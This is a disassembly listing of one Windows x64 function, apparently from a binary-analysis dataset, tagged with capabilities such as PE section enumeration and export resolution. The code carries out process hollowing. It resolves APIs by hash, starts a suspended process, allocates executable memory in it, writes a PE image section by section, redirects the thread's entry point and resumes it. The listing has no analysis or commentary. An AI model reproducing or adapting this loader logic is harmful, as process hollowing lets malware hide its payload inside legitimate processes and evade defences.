Function at 0x1400017a0
Capabilities:
Accept command line arguments
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x748
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
call fcn.140001140
mov qword [0x140064420], rax
call fcn.1400011a0
mov qword [0x140064428], rax
mov edx, 0x8a8b4676
mov rcx, qword [0x140064420]
call fcn.140001280
mov qword [rsp + 0xa8], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xb0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0xb8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0xd0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0xd8], rax
mov edx, 0x98acab94
mov rcx, qword [0x140064428]
call fcn.140001280
mov qword [rsp + 0xe8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0xe0], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xf0], rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0xa0], rax
mov edx, 0x339c09fb
mov rcx, qword [0x140064428]
call fcn.140001280
mov qword [rsp + 0xf8], rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov qword [rsp + 0x100], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x108], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x90], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rsp + 0x180], rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov qword [rsp + 0x118], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x168], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x170], rax
mov edx, 0xba190f77
mov rcx, qword [0x140064420]
call fcn.140001280
mov qword [rsp + 0x178], rax
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x270]
call fcn.140011ec0
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x1c8]
call fcn.140011ec0
mov dword [rsp + 0x2a0], 0x10007
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140006d70
xor r8d, r8d
lea rdx, [0x1400334a0]
lea rcx, [rsp + 0x128]
call fcn.14000d6a0
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x128]
call fcn.14000d5a0
mov rdx, qword [rsp + 0x758]
lea rcx, [rsp + 0x1a8]
call fcn.140006d70
lea r8, [0x1400334a4]
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.140004b70
lea r8, [rsp + 0x128]
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.140004b20
lea rcx, [rsp + 0x188]
call fcn.140007c80
lea rcx, [rsp + 0x1a8]
call fcn.140007c80
lea rcx, [rsp + 0x148]
call fcn.14000bfa0
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x750]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x98], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140011ec0
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x200]
call fcn.140011ec0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [rsp + 0xd0]
test eax, eax
je 0x140001d2f
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0xd8]
test eax, eax
je 0x140001d2f
xor ecx, ecx
call qword [rsp + 0xe0]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xe8]
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xf0]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140001d23
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
test eax, eax
je 0x140001d23
mov dword [rsp + 0x50], 0
jmp 0x140001ba7
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jge 0x140001c2f
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x98]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x98]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x750]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x50]
imul rdx, rdx, 0x28
mov r8, qword [rsp + 0x98]
mov edx, dword [r8 + rdx + 0xc]
mov r8, qword [rsp + 0x60]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
jmp 0x140001b9d
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rsp + 0x1c8]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xf8]
test eax, eax
jne 0x140001d23
mov rax, qword [rsp + 0x1d0]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x60]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
test eax, eax
je 0x140001d23
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f0], rax
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x70]
call qword [rsp + pe_nt_image_headers64]
test eax, eax
je 0x140001d23
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x108]
test eax, eax
je 0x140001d23
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x90]
mov dword [rsp + 0x80], 0
lea rcx, [rsp + 0x148]
call fcn.140007c80
lea rcx, [rsp + 0x128]
call fcn.140007c80
mov eax, dword [rsp + 0x80]
jmp 0x140001db9
lea rcx, str.pause
call fcn.14001b1a0
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
cmp qword [rsp + 0x68], 0
je 0x140001d8d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x118]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov dword [rsp + 0x84], 0xffffffff
lea rcx, [rsp + 0x148]
call fcn.140007c80
lea rcx, [rsp + 0x128]
call fcn.140007c80
mov eax, dword [rsp + 0x84]
jmp 0x140001db9
mov dword [rsp + 0x88], 0xffffffff
lea rcx, [rsp + 0x148]
call fcn.140007c80
lea rcx, [rsp + 0x128]
call fcn.140007c80
mov eax, dword [rsp + 0x88]
add rsp, 0x748
ret